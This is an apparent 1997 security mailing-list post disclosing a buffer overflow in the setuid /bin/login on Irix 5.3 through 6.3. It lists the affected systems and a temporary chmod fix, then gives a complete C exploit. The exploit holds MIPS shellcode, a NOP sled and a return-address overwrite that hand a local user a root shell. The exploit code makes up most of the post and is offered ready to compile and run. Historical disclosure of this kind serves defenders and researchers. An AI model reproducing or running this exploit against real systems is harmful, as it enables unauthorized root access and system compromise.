hey, guess what! another Irix buffer overflow!
Date: Mon, 26 May 1997 23:44:13 +0100
From: David Hedley <[email protected]>
To: [email protected]
Subject: hey, guess what! another Irix buffer overflow!
Yet another buffer overflow for you. This time in /bin/login.
Impact: local users can get root access
Vulnerable to this exploit: Irix 5.3 Irix64 6.2 Irix 6.3
Tested on: R3000 Indigo (5.3), R4400 Indy (5.3), R5000 O2 (6.3), R8000
PChallenge (Irix64 6.2)
Temporary fix: chmod u-s /bin/login
Note this will break login, although it should still work when called
from telnetd, getty etc
Compile the exploit with the '-n32' flag if compiling under 6.x
When run, you will be prompted for a password. Just press enter at this
point and you will handed a root shell.
Regards,
David
--
David Hedley ([email protected])
finger [email protected] for PGP key
Computer Graphics Group | University of Bristol | UK
--------------------- cut here --------------------------------
/* /bin/login exploit by DCRH 24/5/97
*
* Tested on: R3000 Indigo (Irix 5.3)
* R4400 Indy (Irix 5.3)
* R5000 O2 (Irix 6.3)
* R8000 Power Challenge (Irix 6.2)
*
* Compile as: cc -n32 login.c (for Irix 6.x)
* cc login.c (for Irix 5.x)
*
* Press enter when prompted for a password
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#define BUF_LENGTH 200
#define EXTRA 300
#define OFFSET 0x1b0
#define IRIX_NOP 0x03e0f825 /* move $ra,$ra */
#define u_long unsigned
u_long get_sp_code[] = {
0x03a01025, /* move $v0,$sp */
0x03e00008, /* jr $ra */
0x00000000, /* nop */
};
u_long irix_shellcode[] = {
0x24041234, /* li $4,0x1234 */
0x2084edcc, /* sub $4,0x1234 */
0x0491fffe, /* bgezal $4,pc-4 */
0x03bd302a, /* sgt $6,$sp,$sp */
0x23e4012c, /* addi $4,$31,264+36 */
0xa086feff, /* sb $6,-264+7($4) */
0x2084fef8, /* sub $4,264 */
0x20850110, /* addi $5,$4,264+8 */
0xaca4fef8, /* sw $4,-264($5) */
0xaca6fefc, /* sw $4,-260($5) */
0x20a5fef8, /* sub $5, 264 */
0x240203f3, /* li $v0,1011 */
0x03ffffcc, /* syscall 0xfffff */
0x2f62696e, /* "/bin" */
0x2f7368ff, /* "/sh" */
};
char buf[BUF_LENGTH + EXTRA + 8];
void main(int argc, char **argv)
{
char *env[] = {NULL};
u_long targ_addr, stack;
u_long *long_p;
int i, code_length = strlen((char *)irix_shellcode)+1;
u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;
stack = get_sp();
long_p =(u_long *) buf;
targ_addr = stack + OFFSET;
if (argc > 1)
targ_addr += atoi(argv[1]);
while ((targ_addr & 0xff000000) == 0 ||
(targ_addr & 0x00ff0000) == 0 ||
(targ_addr & 0x0000ff00) == 0 ||
(targ_addr & 0x000000ff) == 0)
targ_addr += 4;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = IRIX_NOP;
for (i = 0; i < code_length/sizeof(u_long); i++)
*long_p++ = irix_shellcode[i];
for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ = (targ_addr << 24) | (targ_addr >> 8);
*long_p = 0;
printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);
execle("/bin/login", "login", "-h", &buf[1], 0, env);
perror("execl failed");
}
